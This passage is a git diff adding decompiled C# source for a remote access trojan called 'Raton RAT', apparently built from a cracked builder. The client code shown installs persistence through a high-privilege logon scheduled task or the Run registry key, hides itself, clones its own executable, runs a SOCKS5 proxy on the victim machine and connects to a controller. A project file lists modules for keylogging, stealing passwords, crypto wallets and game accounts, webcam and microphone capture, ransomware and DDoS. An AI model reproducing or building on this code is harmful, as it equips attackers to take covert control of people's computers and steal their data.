System.Reflection; +using System.Security.Principal; +using System.Threading; +using System.Threading.Tasks; +using System.Windows.Forms; + +#nullable disable +internal static class Program +{ + public static SillyClient client; + + [STAThread] + private static void Main(string[] args) + { + if (args.Length >= 2) + { + Config.Mutex = Helpers.Random(30); + Config.ht = args[0]; + Config.pt = Convert.ToInt32(args[1]); + } + Application.ThreadException += (ThreadExceptionEventHandler) ((s, e) => Program.LogError("UI Thread", e.Exception)); + AppDomain.CurrentDomain.UnhandledException += (UnhandledExceptionEventHandler) ((s, e) => Program.LogError("Unhandled", e.ExceptionObject as Exception)); + TaskScheduler.UnobservedTaskException += (EventHandler) ((s, e) => + { + Program.LogError("Task", (Exception) e.Exception); + e.SetObserved(); + }); + Application.EnableVisualStyles(); + Application.SetCompatibleTextRenderingDefault(false); + Thread.Sleep(Config.Delay * 1000); + if (Config.HideFile) + { + try + { + HideClient.Execute(); + } + catch (Exception ex) + { + Program.LogError("HideFile", ex); + } + } + if (!MutexControl.CreateMutex()) + Environment.Exit(0); + try + { + Program.client = new SillyClient(); + } + catch (Exception ex) + { + Program.LogError("Client Init", ex); + return; + } + Task.Run((Action) (() => + { + try + { + Program.client.Connect(); + } + catch (Exception ex) + { + Program.LogError("Connect", ex); + } + })); + Task.Run((Func) (async () => + { + try + { + await Task.Delay(3000); + if (args.Length != 0) + { + Pack pack = new Pack(); + pack.SetString("Packet", "PluginMessage"); + pack.SetString("Message", "This client was shared to you from someone"); + Program.client.Send(pack.Pacc()); + } + if (!Config.Startup) + return; + string location = Assembly.GetExecutingAssembly().Location; + Program.AddToStartup(Path.GetFileNameWithoutExtension(location), location); + } + catch (Exception ex) + { + Program.LogError("StartupTask", ex); + } + })); + Application.Run(new ApplicationContext()); + } + + private static void LogError(string context, Exception ex) + { + Console.WriteLine(context + ex.Message); + } + + public static bool IsAdmin() + { + using (WindowsIdentity current = WindowsIdentity.GetCurrent()) + return new WindowsPrincipal(current).IsInRole(WindowsBuiltInRole.Administrator); + } + + public static void AddToStartup(string name, string path) + { + try + { + if (string.IsNullOrWhiteSpace(name) || string.IsNullOrWhiteSpace(path)) + return; + path = Path.GetFullPath(path); + if (Program.IsAdmin()) + { + using (Process process = Process.Start(new ProcessStartInfo("schtasks") + { + Arguments = $"/create /tn \"{name}\" /sc ONLOGON /tr \"\\\"{path}\\\"\" /rl HIGHEST /f", + UseShellExecute = false, + CreateNoWindow = true, + RedirectStandardError = true, + RedirectStandardOutput = true + })) + { + process.WaitForExit(); + if (process.ExitCode == 0) + { + Pack pack = new Pack(); + pack.SetString("Packet", "Success"); + pack.SetString("Message", "Startup task created successfully (Task Scheduler)"); + Program.client?.Send(pack.Pacc()); + return; + } + } + } + using (RegistryKey registryKey = Registry.CurrentUser.OpenSubKey("Software\\Microsoft\\Windows\\CurrentVersion\\Run", true)) + { + if (registryKey == null) + return; + registryKey.SetValue(name, (object) $"\"{path}\"", RegistryValueKind.String); + Pack pack = new Pack(); + pack.SetString("Packet", "Success"); + pack.SetString("Message", "Startup registry key added successfully"); + Program.client?.Send(pack.Pacc()); + } + } + catch (Exception ex) + { + Program.LogError(nameof (AddToStartup), ex); + } + } +} diff --git a/Client/ShareClient.cs b/Client/ShareClient.cs new file mode 100644 index 0000000..62d455f --- /dev/null +++ b/Client/ShareClient.cs @@ -0,0 +1,32 @@ +// Decompiled with JetBrains decompiler +// Type: ShareClient +// Assembly: Client, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null +// MVID: 92DF2D60-35B0-4A06-AFD8-50A246F39510 +// Assembly location: C:\Users\user\Desktop\v3.8.0 Deluxe Plugins (v4.0.0) cracked\Builder\Client.exe + +using System; +using System.Diagnostics; +using System.IO; + +#nullable disable +public static class ShareClient +{ + public static void Clone(string host, string port) + { + try + { + string fileName = Process.GetCurrentProcess().MainModule.FileName; + string destFileName = Path.Combine(Path.GetDirectoryName(fileName), Guid.NewGuid().ToString() + ".exe"); + File.Copy(fileName, destFileName, true); + Process.Start(new ProcessStartInfo() + { + FileName = destFileName, + Arguments = $"{host} {port}", + UseShellExecute = false + }); + } + catch + { + } + } +} diff --git a/Client/SillyClient.cs b/Client/SillyClient.cs new file mode 100644 index 0000000..1103c1c --- /dev/null +++ b/Client/SillyClient.cs @@ -0,0 +1,34 @@ +// Decompiled with JetBrains decompiler +// Type: SillyClient +// Assembly: Client, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null +// MVID: 92DF2D60-35B0-4A06-AFD8-50A246F39510 +// Assembly location: C:\Users\user\Desktop\v3.8.0 Deluxe Plugins (v4.0.0) cracked\Builder\Client.exe + +using Client.Raton; + +#nullable disable +public class SillyClient +{ + internal Supervisor Supervisor { get; } + + public HandlePacket HandlePacket { get; } + + public ClientState State => this.Supervisor.State; + + public SillyClient() + { + this.HandlePacket = new HandlePacket(this); + this.Supervisor = new Supervisor(this); + } + + public void Connect() => this.Supervisor.Start(); + + public void Disconnect() => this.Supervisor.Stop(); + + public void Send(byte[] data) => this.Supervisor.Send(data); + + public bool IsConnected() + { + return this.State == ClientState.Connected || this.State == ClientState.Ready; + } +} diff --git a/Client/Socks5Server.cs b/Client/Socks5Server.cs new file mode 100644 index 0000000..1c38375 --- /dev/null +++ b/Client/Socks5Server.cs @@ -0,0 +1,81 @@ +// Decompiled with JetBrains decompiler +// Type: Socks5Server +// Assembly: Client, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null +// MVID: 92DF2D60-35B0-4A06-AFD8-50A246F39510 +// Assembly location: C:\Users\user\Desktop\v3.8.0 Deluxe Plugins (v4.0.0) cracked\Builder\Client.exe + +using System.IO; +using System.Net; +using System.Net.Sockets; +using System.Text; +using System.Threading.Tasks; + +#nullable disable +public class Socks5Server +{ + private TcpListener listener; + private bool running; + + public async Task Start(int port) + { + this.listener = new TcpListener(IPAddress.Any, port); + this.listener.Start(); + this.running = true; + while (this.running) + this.HandleClient(await this.listener.AcceptTcpClientAsync()); + } + + public void Stop() + { + this.running = false; + this.listener?.Stop(); + } + + private async Task HandleClient(TcpClient client) + { + NetworkStream stream = client.GetStream(); + try + { + byte[] hello = new byte[2]; + int num1 = await stream.ReadAsync(hello, 0, hello.Length); + byte[] buffer1 = new byte[(int) hello[1]]; + int num2 = await stream.ReadAsync(buffer1, 0, buffer1.Length); + byte[] buffer2 = new byte[2]{ (byte) 5, (byte) 0 }; + await stream.WriteAsync(buffer2, 0, buffer2.Length); + byte[] header = new byte[4]; + int num3 = await stream.ReadAsync(header, 0, header.Length); + string host = ""; + if (header[3] == (byte) 3) + { + byte[] hostBytes = new byte[stream.ReadByte()]; + int num4 = await stream.ReadAsync(hostBytes, 0, hostBytes.Length); + host = Encoding.ASCII.GetString(hostBytes); + hostBytes = (byte[]) null; + } + byte[] portBytes = new byte[2]; + int num5 = await stream.ReadAsync(portBytes, 0, portBytes.Length); + int port = (int) portBytes[0] << 8 | (int) portBytes[1]; + TcpClient remote = new TcpClient(); + await remote.ConnectAsync(host, port); + byte[] numArray = new byte[10]; + numArray[0] = (byte) 5; + numArray[3] = (byte) 1; + byte[] buffer3 = numArray; + await stream.WriteAsync(buffer3, 0, buffer3.Length); + NetworkStream stream1 = remote.GetStream(); + stream1.CopyToAsync((Stream) stream); + stream.CopyToAsync((Stream) stream1); + hello = (byte[]) null; + header = (byte[]) null; + host = (string) null; + portBytes = (byte[]) null; + remote = (TcpClient) null; + stream = (NetworkStream) null; + } + catch + { + client.Close(); + stream = (NetworkStream) null; + } + } +} diff --git a/Client/bin/Release/Client.exe b/Client/bin/Release/Client.exe new file mode 100644 index 0000000..69b29cb Binary files /dev/null and b/Client/bin/Release/Client.exe differ diff --git a/Client/bin/Release/Client.pdb b/Client/bin/Release/Client.pdb new file mode 100644 index 0000000..4d8328b Binary files /dev/null and b/Client/bin/Release/Client.pdb differ diff --git a/Client/bin/Release/MessagePackLib.dll b/Client/bin/Release/MessagePackLib.dll new file mode 100644 index 0000000..638f142 Binary files /dev/null and b/Client/bin/Release/MessagePackLib.dll differ diff --git a/Client/costura.metadata b/Client/costura.metadata new file mode 100644 index 0000000..74c038c --- /dev/null +++ b/Client/costura.metadata @@ -0,0 +1,4 @@ +costura.costura.dll.compressed|6.0.0.0|Costura, Version=6.0.0.0, Culture=neutral, PublicKeyToken=9919ef960d84173d|Costura.dll|028E9832F421F11F9497C610F1734E0F3D868037|5120 +costura.costura.pdb.compressed|||Costura.pdb|806F4C19B2D7FD9E3B836269EC07647019A29E95|7960 +costura.messagepacklib.dll.compressed|1.0.0.0|MessagePackLib, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null|MessagePackLib.dll|67A52A50875B6072355D725CD38DD69A592F6480|10240 +costura.system.buffers.dll.compressed|4.0.3.0|System.Buffers, Version=4.0.3.0, Culture=neutral, PublicKeyToken=cc7b13ffcd2ddd51|System.Buffers.dll|2F410A0396BC148ED533AD49B6415FB58DD4D641|20856 diff --git a/Client/obj/Debug/.NETFramework,Version=v4.7.2.AssemblyAttributes.cs b/Client/obj/Debug/.NETFramework,Version=v4.7.2.AssemblyAttributes.cs new file mode 100644 index 0000000..057ed7f --- /dev/null +++ b/Client/obj/Debug/.NETFramework,Version=v4.7.2.AssemblyAttributes.cs @@ -0,0 +1,4 @@ +// +using System; +using System.Reflection; +[assembly: global::System.Runtime.Versioning.TargetFrameworkAttribute(".NETFramework,Version=v4.7.2", FrameworkDisplayName = ".NET Framework 4.7.2")] diff --git a/Client/obj/Debug/Client.csproj.AssemblyReference.cache b/Client/obj/Debug/Client.csproj.AssemblyReference.cache new file mode 100644 index 0000000..f840775 Binary files /dev/null and b/Client/obj/Debug/Client.csproj.AssemblyReference.cache differ diff --git a/Client/obj/Debug/DesignTimeResolveAssemblyReferencesInput.cache b/Client/obj/Debug/DesignTimeResolveAssemblyReferencesInput.cache new file mode 100644 index 0000000..f91dd5e Binary files /dev/null and b/Client/obj/Debug/DesignTimeResolveAssemblyReferencesInput.cache differ diff --git a/Client/obj/Release/.NETFramework,Version=v4.7.2.AssemblyAttributes.cs b/Client/obj/Release/.NETFramework,Version=v4.7.2.AssemblyAttributes.cs new file mode 100644 index 0000000..057ed7f --- /dev/null +++ b/Client/obj/Release/.NETFramework,Version=v4.7.2.AssemblyAttributes.cs @@ -0,0 +1,4 @@ +// +using System; +using System.Reflection; +[assembly: global::System.Runtime.Versioning.TargetFrameworkAttribute(".NETFramework,Version=v4.7.2", FrameworkDisplayName = ".NET Framework 4.7.2")] diff --git a/Client/obj/Release/Client.Properties.Resources.resources b/Client/obj/Release/Client.Properties.Resources.resources new file mode 100644 index 0000000..6c05a97 Binary files /dev/null and b/Client/obj/Release/Client.Properties.Resources.resources differ diff --git a/Client/obj/Release/Client.csproj.AssemblyReference.cache b/Client/obj/Release/Client.csproj.AssemblyReference.cache new file mode 100644 index 0000000..04b0240 Binary files /dev/null and b/Client/obj/Release/Client.csproj.AssemblyReference.cache differ diff --git a/Client/obj/Release/Client.csproj.CoreCompileInputs.cache b/Client/obj/Release/Client.csproj.CoreCompileInputs.cache new file mode 100644 index 0000000..125a167 --- /dev/null +++ b/Client/obj/Release/Client.csproj.CoreCompileInputs.cache @@ -0,0 +1 @@ +94ea750660fedbfcfd2429674cf0119f84e3e46b3b7ce120f35d0710d87142cf diff --git a/Client/obj/Release/Client.csproj.FileListAbsolute.txt b/Client/obj/Release/Client.csproj.FileListAbsolute.txt new file mode 100644 index 0000000..0c4ba20 --- /dev/null +++ b/Client/obj/Release/Client.csproj.FileListAbsolute.txt @@ -0,0 +1,10 @@ +C:\Users\user\Desktop\raton\Client\obj\Release\Client.csproj.AssemblyReference.cache +C:\Users\user\Desktop\raton\Client\obj\Release\Client.Properties.Resources.resources +C:\Users\user\Desktop\raton\Client\obj\Release\Client.csproj.GenerateResource.cache +C:\Users\user\Desktop\raton\Client\obj\Release\Client.csproj.CoreCompileInputs.cache +C:\Users\user\Desktop\raton\Client\bin\Release\Client.exe +C:\Users\user\Desktop\raton\Client\bin\Release\Client.pdb +C:\Users\user\Desktop\raton\Client\bin\Release\MessagePackLib.dll +C:\Users\user\Desktop\raton\Client\obj\Release\Client.csproj.Up2Date +C:\Users\user\Desktop\raton\Client\obj\Release\Client.exe +C:\Users\user\Desktop\raton\Client\obj\Release\Client.pdb diff --git a/Client/obj/Release/Client.csproj.GenerateResource.cache b/Client/obj/Release/Client.csproj.GenerateResource.cache new file mode 100644 index 0000000..bc8edc4 Binary files /dev/null and b/Client/obj/Release/Client.csproj.GenerateResource.cache differ diff --git a/Client/obj/Release/Client.csproj.Up2Date b/Client/obj/Release/Client.csproj.Up2Date new file mode 100644 index 0000000..e69de29 diff --git a/Client/obj/Release/Client.exe b/Client/obj/Release/Client.exe new file mode 100644 index 0000000..69b29cb Binary files /dev/null and b/Client/obj/Release/Client.exe differ diff --git a/Client/obj/Release/Client.pdb b/Client/obj/Release/Client.pdb new file mode 100644 index 0000000..4d8328b Binary files /dev/null and b/Client/obj/Release/Client.pdb differ diff --git a/Client/obj/Release/DesignTimeResolveAssemblyReferencesInput.cache b/Client/obj/Release/DesignTimeResolveAssemblyReferencesInput.cache new file mode 100644 index 0000000..e655cfc Binary files /dev/null and b/Client/obj/Release/DesignTimeResolveAssemblyReferencesInput.cache differ diff --git a/Raton RAT/.vs/Raton.csproj.dtbcache.json b/Raton RAT/.vs/Raton.csproj.dtbcache.json new file mode 100644 index 0000000..0c79647 --- /dev/null +++ b/Raton RAT/.vs/Raton.csproj.dtbcache.json @@ -0,0 +1 @@ +{"RootPath":"C:\\Users\\user\\Desktop\\raton\\Raton","ProjectFileName":"Raton.csproj","Configuration":"Debug|AnyCPU","FrameworkPath":"","Sources":[{"SourceFile":"Program.cs"},{"SourceFile":"AGObfuscator.cs"},{"SourceFile":"CountryLocation.cs"},{"SourceFile":"StoredClient.cs"},{"SourceFile":"ClientStorage.cs"},{"SourceFile":"TagStorage.cs"},{"SourceFile":"UpdateChecker.cs"},{"SourceFile":"UserData.cs"},{"SourceFile":"HandleClient.cs"},{"SourceFile":"HandlePacket.cs"},{"SourceFile":"HandlePreview.cs"},{"SourceFile":"HandleRegistry.cs"},{"SourceFile":"HandleScreen.cs"},{"SourceFile":"AudioDispatch.cs"},{"SourceFile":"AudioPlayer.cs"},{"SourceFile":"ManifestHelper.cs"},{"SourceFile":"RgbBuildButton.cs"},{"SourceFile":"TextBoxButton.cs"},{"SourceFile":"RateCalculator.cs"},{"SourceFile":"Listen.cs"},{"SourceFile":"CustomControls\\CustomSwitch.cs"},{"SourceFile":"RatonAccessTool\\Controls\\AeroListView.cs"},{"SourceFile":"RatonAccessTool\\Helpers\\ControlExtensions.cs"},{"SourceFile":"RatonRAT\\Handlers\\FileTransfer\\HandleDownload.cs"},{"SourceFile":"Server\\Connection\\SillyClient.cs"},{"SourceFile":"Server\\Helper\\Methods.cs"},{"SourceFile":"Server\\Handlers\\HandleUpload.cs"},{"SourceFile":"Server\\Handlers\\HandleUploadACK.cs"},{"SourceFile":"Server\\Handlers\\HandleAnydesk.cs"},{"SourceFile":"Server\\Handlers\\HandleChat.cs"},{"SourceFile":"Server\\Handlers\\HandleClipboard.cs"},{"SourceFile":"Server\\Handlers\\HandleShell.cs"},{"SourceFile":"Server\\Handlers\\HandleCrypto.cs"},{"SourceFile":"Server\\Handlers\\HandleDeviceManager.cs"},{"SourceFile":"Server\\Handlers\\HandleDiscord.cs"},{"SourceFile":"Server\\Handlers\\HandleEpic.cs"},{"SourceFile":"Server\\Handlers\\HandleFileSearch.cs"},{"SourceFile":"Server\\Handlers\\HandleFirefox.cs"},{"SourceFile":"Server\\Handlers\\HandleGeo.cs"},{"SourceFile":"Server\\Handlers\\HandleHost.cs"},{"SourceFile":"Server\\Handlers\\HandleHVNC.cs"},{"SourceFile":"Server\\Handlers\\HandleInfo.cs"},{"SourceFile":"Server\\Handlers\\HandleKeylogger.cs"},{"SourceFile":"Server\\Handlers\\HandleFileManager.cs"},{"SourceFile":"Server\\Handlers\\HandleMicrophone.cs"},{"SourceFile":"Server\\Handlers\\HandleMinecraft.cs"},{"SourceFile":"Server\\Handlers\\HandleMullvad.cs"},{"SourceFile":"Server\\Handlers\\HandlePasswords.cs"},{"SourceFile":"Server\\Handlers\\HandlePortManager.cs"},{"SourceFile":"Server\\Handlers\\HandleProcessManager.cs"},{"SourceFile":"Server\\Handlers\\HandleRDP.cs"},{"SourceFile":"Server\\Handlers\\HandleDesktop.cs"},{"SourceFile":"Server\\Handlers\\HandleRiot.cs"},{"SourceFile":"Server\\Handlers\\HandleRoblox.cs"},{"SourceFile":"Server\\Handlers\\HandleSteam.cs"},{"SourceFile":"Server\\Handlers\\HandleMicrophoneSystem.cs"},{"SourceFile":"Server\\Handlers\\HandleTelegram.cs"},{"SourceFile":"Server\\Handlers\\HandleWebcam.cs"},{"SourceFile":"Server\\Handlers\\HandleWifi.cs"},{"SourceFile":"Server\\Handlers\\HandleXbox.cs"},{"SourceFile":"Server\\Classes\\ResourceModifier.cs"},{"SourceFile":"WpfApp1\\FavoritePicker.cs"},{"SourceFile":"WpfApp1\\FriendItem.cs"},{"SourceFile":"WpfApp1\\FriendsWindow.cs"},{"SourceFile":"WpfApp1\\ShareLinkDialog.cs"},{"SourceFile":"WpfApp1\\App.cs"},{"SourceFile":"WpfApp1\\DarkMenuRenderer.cs"},{"SourceFile":"WpfApp1\\DarkColorTable.cs"},{"SourceFile":"WpfApp1\\StatsUpdater.cs"},{"SourceFile":"WpfApp1\\LogType.cs"},{"SourceFile":"WpfApp1\\LogEntry.cs"},{"SourceFile":"WpfApp1\\ClientRow.cs"},{"SourceFile":"WpfApp1\\ScreenTile.cs"},{"SourceFile":"WpfApp1\\MainWindow.cs"},{"SourceFile":"WpfApp1\\SearchDialog.cs"},{"SourceFile":"WpfApp1\\Windows\\Port.cs"},{"SourceFile":"DarkModeForms\\DarkModeCS.cs"},{"SourceFile":"DarkModeForms\\OSThemeColors.cs"},{"SourceFile":"DarkModeForms\\MyRenderer.cs"},{"SourceFile":"DarkModeForms\\CustomColorTable.cs"},{"SourceFile":"DarkModeForms\\ControlStatusStorage.cs"},{"SourceFile":"DarkModeForms\\ControlStatusInfo.cs"},{"SourceFile":"DarkModeForms\\Messenger.cs"},{"SourceFile":"DarkModeForms\\MsgIcon.cs"},{"SourceFile":"DarkModeForms\\KeyValue.cs"},{"SourceFile":"DarkModeForms\\Base64Image.cs"},{"SourceFile":"DarkModeForms\\Base64Icons.cs"},{"SourceFile":"DarkModeForms\\FlatComboBox.cs"},{"SourceFile":"DarkModeForms\\FlatProgressBar.cs"},{"SourceFile":"Raton\\Properties\\Resources.cs"},{"SourceFile":"Raton\\Properties\\Settings.cs"},{"SourceFile":"Raton\\Windows\\About.cs"},{"SourceFile":"Raton\\Windows\\Builder.cs"},{"SourceFile":"Raton\\Windows\\ExceptionWindow.cs"},{"SourceFile":"Raton\\Windows\\ClientFolderItem.cs"},{"SourceFile":"Raton\\Windows\\ClientFolders.cs"},{"SourceFile":"Raton\\Windows\\StringExtensions.cs"},{"SourceFile":"Raton\\Windows\\CreditEntry.cs"},{"SourceFile":"Raton\\Windows\\Credits.cs"},{"SourceFile":"Raton\\Windows\\Games.cs"},{"SourceFile":"Raton\\Windows\\Notification.cs"},{"SourceFile":"Raton\\Windows\\PluginTutorial.cs"},{"SourceFile":"Raton\\Windows\\PreviewEntry.cs"},{"SourceFile":"Raton\\Windows\\Preview.cs"},{"SourceFile":"Raton\\Windows\\Settings.cs"},{"SourceFile":"Raton\\Windows\\TaskItem.cs"},{"SourceFile":"Raton\\Windows\\Tasks.cs"},{"SourceFile":"Raton\\Windows\\ToolFileItem.cs"},{"SourceFile":"Raton\\Windows\\Tools.cs"},{"SourceFile":"Raton\\RatonForms\\PluginTextbox.cs"},{"SourceFile":"Raton\\RatonForms\\ConsoleTextBox.cs"},{"SourceFile":"Raton\\RatonForms\\BlockWindow.cs"},{"SourceFile":"Raton\\Handlers\\HandleInstalledPrograms.cs"},{"SourceFile":"Raton\\Handlers\\HandleServices.cs"},{"SourceFile":"Raton\\Forms\\DDOS.cs"},{"SourceFile":"Raton\\Forms\\ratonCMD.cs"},{"SourceFile":"Raton\\Forms\\Notes.cs"},{"SourceFile":"Raton\\Forms\\RatonPlugins.cs"},{"SourceFile":"Raton\\Forms\\ClientForms\\Stealers\\ratonAnyDesk.cs"},{"SourceFile":"Raton\\Forms\\ClientForms\\Stealers\\ratonCrypto.cs"},{"SourceFile":"Raton\\Forms\\ClientForms\\Stealers\\ratonEpic.cs"},{"SourceFile":"Raton\\Forms\\ClientForms\\Stealers\\ratonFileEx.cs"},{"SourceFile":"Raton\\Forms\\ClientForms\\Stealers\\ratonMullvad.cs"},{"SourceFile":"Raton\\Forms\\ClientForms\\Stealers\\ratonRiot.cs"},{"SourceFile":"Raton\\Forms\\ClientForms\\Stealers\\ratonSteam.cs"},{"SourceFile":"Raton\\Forms\\ClientForms\\Stealers\\ratonTelegram.cs"},{"SourceFile":"Raton\\Forms\\ClientForms\\Stealers\\ratonWifi.cs"},{"SourceFile":"Raton\\Forms\\ClientForms\\Stealers\\ratonXbox.cs"},{"SourceFile":"Raton\\Forms\\ClientForms\\Monitor\\ratonChat.cs"},{"SourceFile":"Raton\\Forms\\ClientForms\\Monitor\\ratonClipper.cs"},{"SourceFile":"Raton\\Forms\\ClientForms\\Monitor\\ratonDesktop.cs"},{"SourceFile":"Raton\\Forms\\ClientForms\\Monitor\\ratonDevice.cs"},{"SourceFile":"Raton\\Forms\\ClientForms\\Monitor\\ratonFIleManager.cs"},{"SourceFile":"Raton\\Forms\\ClientForms\\Monitor\\ratonGPS.cs"},{"SourceFile":"Raton\\Forms\\ClientForms\\Monitor\\ratonHVNC.cs"},{"SourceFile":"Raton\\Forms\\ClientForms\\Monitor\\ratonInformation.cs"},{"SourceFile":"Raton\\Forms\\ClientForms\\Monitor\\ratonInstalledPrograms.cs"},{"SourceFile":"Raton\\Forms\\ClientForms\\Monitor\\ratonKeylogger.cs"},{"SourceFile":"Raton\\Forms\\ClientForms\\Monitor\\RatonPI.cs"},{"SourceFile":"Raton\\Forms\\ClientForms\\Monitor\\ratonPorts.cs"},{"SourceFile":"Raton\\Forms\\ClientForms\\Monitor\\ratonProcess.cs"},{"SourceFile":"Raton\\Forms\\ClientForms\\Monitor\\ratonReg.cs"},{"SourceFile":"Raton\\Forms\\ClientForms\\Monitor\\ratonServices.cs"},{"SourceFile":"Raton\\Forms\\ClientForms\\Monitor\\ratonShell.cs"},{"SourceFile":"Raton\\Forms\\ClientForms\\Monitor\\ratonWebcam.cs"},{"SourceFile":"Raton\\Forms\\ClientForms\\Monitor\\ratonWindows.cs"},{"SourceFile":"Raton\\Forms\\ClientForms\\Misc\\ratonClipboard.cs"},{"SourceFile":"Raton\\Forms\\ClientForms\\Misc\\ratonDrawing.cs"},{"SourceFile":"Raton\\Forms\\ClientForms\\Misc\\DrawStroke.cs"},{"SourceFile":"Raton\\Forms\\ClientForms\\Misc\\ratonExecuteCode.cs"},{"SourceFile":"Raton\\Forms\\ClientForms\\Misc\\ratonFIle.cs"},{"SourceFile":"Raton\\Forms\\ClientForms\\Misc\\ratonHosts.cs"},{"SourceFile":"Raton\\Forms\\ClientForms\\Misc\\ratonMessageBox.cs"},{"SourceFile":"Raton\\Forms\\ClientForms\\Misc\\ratonNotepad.cs"},{"SourceFile":"Raton\\Forms\\ClientForms\\Misc\\ratonNotify.cs"},{"SourceFile":"Raton\\Forms\\ClientForms\\Misc\\ratonRansomware.cs"},{"SourceFile":"Raton\\Forms\\ClientForms\\Misc\\ratonScreenLocker.cs"},{"SourceFile":"Raton\\Forms\\ClientForms\\Misc\\ratonUpload.cs"},{"SourceFile":"Raton\\Forms\\ClientForms\\Misc\\ratonURL.cs"},{"SourceFile":"Raton\\Forms\\ClientForms\\Dialogs\\askGame.cs"},{"SourceFile":"Raton\\Forms\\ClientForms\\Dialogs\\selectFriend.cs"},{"SourceFile":"Raton\\Forms\\ClientForms\\Dialogs\\shareHost.cs"},{"SourceFile":"Raton\\Forms\\ClientForms\\Dialogs\\inputDialog.cs"},{"SourceFile":"Raton\\Forms\\ClientForms\\Dialogs\\loginClient.cs"},{"SourceFile":"Raton\\Forms\\ClientForms\\Dialogs\\proxyDialog.cs"},{"SourceFile":"Raton\\Forms\\ClientForms\\Compilers\\ratonCS.cs"},{"SourceFile":"Raton\\Forms\\ClientForms\\Audio\\ratonAudio.cs"},{"SourceFile":"Raton\\Forms\\ClientForms\\Audio\\ratonMicrophone.cs"},{"SourceFile":"Raton\\Forms\\ClientForms\\Audio\\ratonSystemRecording.cs"},{"SourceFile":"Raton\\Forms\\ClientForms\\Audio\\ratonVolume.cs"},{"SourceFile":"Raton\\Classes\\DarkMode.cs"},{"SourceFile":"Raton\\Classes\\DeviceManager.cs"},{"SourceFile":"RatonBack\\BackendClient.cs"},{"SourceFile":"AssemblyInfo.cs"},{"SourceFile":"obj\\Debug\\.NETFramework,Version=v4.7.2.AssemblyAttributes.cs"},{"SourceFile":"C:\\Users\\user\\Desktop\\raton\\Raton\\obj\\Debug\\mainwindow.g.cs"},{"SourceFile":"C:\\Users\\user\\Desktop\\raton\\Raton\\obj\\Debug\\windows\\about.g.cs"},{"SourceFile":"C:\\Users\\user\\Desktop\\raton\\Raton\\obj\\Debug\\windows\\blockwindow.g.cs"},{"SourceFile":"C:\\Users\\user\\Desktop\\raton\\Raton\\obj\\Debug\\windows\\builder.g.cs"},{"SourceFile":"C:\\Users\\user\\Desktop\\raton\\Raton\\obj\\Debug\\windows\\clientfolders.g.cs"},{"SourceFile":"C:\\Users\\user\\Desktop\\raton\\Raton\\obj\\Debug\\windows\\credits.g.cs"},{"SourceFile":"C:\\Users\\user\\Desktop\\raton\\Raton\\obj\\Debug\\windows\\exceptionwindow.g.cs"},{"SourceFile":"C:\\Users\\user\\Desktop\\raton\\Raton\\obj\\Debug\\windows\\friends.g.cs"},{"SourceFile":"C:\\Users\\user\\Desktop\\raton\\Raton\\obj\\Debug\\windows\\games.g.cs"},{"SourceFile":"C:\\Users\\user\\Desktop\\raton\\Raton\\obj\\Debug\\windows\\notification.g.cs"},{"SourceFile":"C:\\Users\\user\\Desktop\\raton\\Raton\\obj\\Debug\\windows\\plugintutorial.g.cs"},{"SourceFile":"C:\\Users\\user\\Desktop\\raton\\Raton\\obj\\Debug\\windows\\port.g.cs"},{"SourceFile":"C:\\Users\\user\\Desktop\\raton\\Raton\\obj\\Debug\\windows\\preview.g.cs"},{"SourceFile":"C:\\Users\\user\\Desktop\\raton\\Raton\\obj\\Debug\\windows\\settings.g.cs"},{"SourceFile":"C:\\Users\\user\\Desktop\\raton\\Raton\\obj\\Debug\\windows\\tasks.g.cs"},{"SourceFile":"C:\\Users\\user\\Desktop\\raton\\Raton\\obj\\Debug\\windows\\tools.g.cs"}],"References":[{"Reference":"C:\\Users\\user\\Desktop\\raton\\Raton\\lib\\DiscordRPC.dll","ResolvedFrom":"","OriginalItemSpec":"","Name":"","EmbedInteropTypes":false,"CopyLocal":false,"IsProjectReference":false,"ProjectPath":""},{"Reference":"C:\\Users\\user\\Desktop\\raton\\Raton\\lib\\dnlib.dll","ResolvedFrom":"","OriginalItemSpec":"","Name":"","EmbedInteropTypes":false,"CopyLocal":false,"IsProjectReference":false,"ProjectPath":""},{"Reference":"C:\\Users\\user\\Desktop\\raton\\Raton\\lib\\FastColoredTextBox.dll","ResolvedFrom":"","OriginalItemSpec":"","Name":"","EmbedInteropTypes":false,"CopyLocal":false,"IsProjectReference":false,"ProjectPath":""},{"Reference":"C:\\Users\\user\\Desktop\\raton\\Raton\\lib\\GMap.NET.Core.dll","ResolvedFrom":"","OriginalItemSpec":"","Name":"","EmbedInteropTypes":false,"CopyLocal":false,"IsProjectReference":false,"ProjectPath":""},{"Reference":"C:\\Users\\user\\Desktop\\raton\\Raton\\lib\\GMap.NET.WindowsPresentation.dll","ResolvedFrom":"","OriginalItemSpec":"","Name":"","EmbedInteropTypes":false,"CopyLocal":false,"IsProjectReference":false,"ProjectPath":""},{"Reference":"C:\\Users\\user\\Desktop\\raton\\Raton\\lib\\MessagePackLib.dll","ResolvedFrom":"","OriginalItemSpec":"","Name":"","EmbedInteropTypes":false,"CopyLocal":false,"IsProjectReference":false,"ProjectPath":""},{"Reference":"C:\\Program Files (x86)\\Reference Assemblies\\Microsoft\\Framework\\.NETFramework\\v4.7.2\\Microsoft.CSharp.dll","ResolvedFrom":"","OriginalItemSpec":"","Name":"","EmbedInteropTypes":false,"CopyLocal":false,"IsProjectReference":false,"ProjectPath":""},{"Reference":"C:\\Program Files (x86)\\Reference Assemblies\\Microsoft\\Framework\\.NETFramework\\v4.7.2\\Microsoft.VisualBasic.dll","ResolvedFrom":"","OriginalItemSpec":"","Name":"","EmbedInteropTypes":false,"CopyLocal":false,"IsProjectReference":false,"ProjectPath":""},{"Reference":"C:\\Users\\user\\Desktop\\raton\\Raton\\lib\\Mono.Cecil.dll","ResolvedFrom":"","OriginalItemSpec":"","Name":"","EmbedInteropTypes":false,"CopyLocal":false,"IsProjectReference":false,"ProjectPath":""},{"Reference":"C:\\Program Files (x86)\\Reference 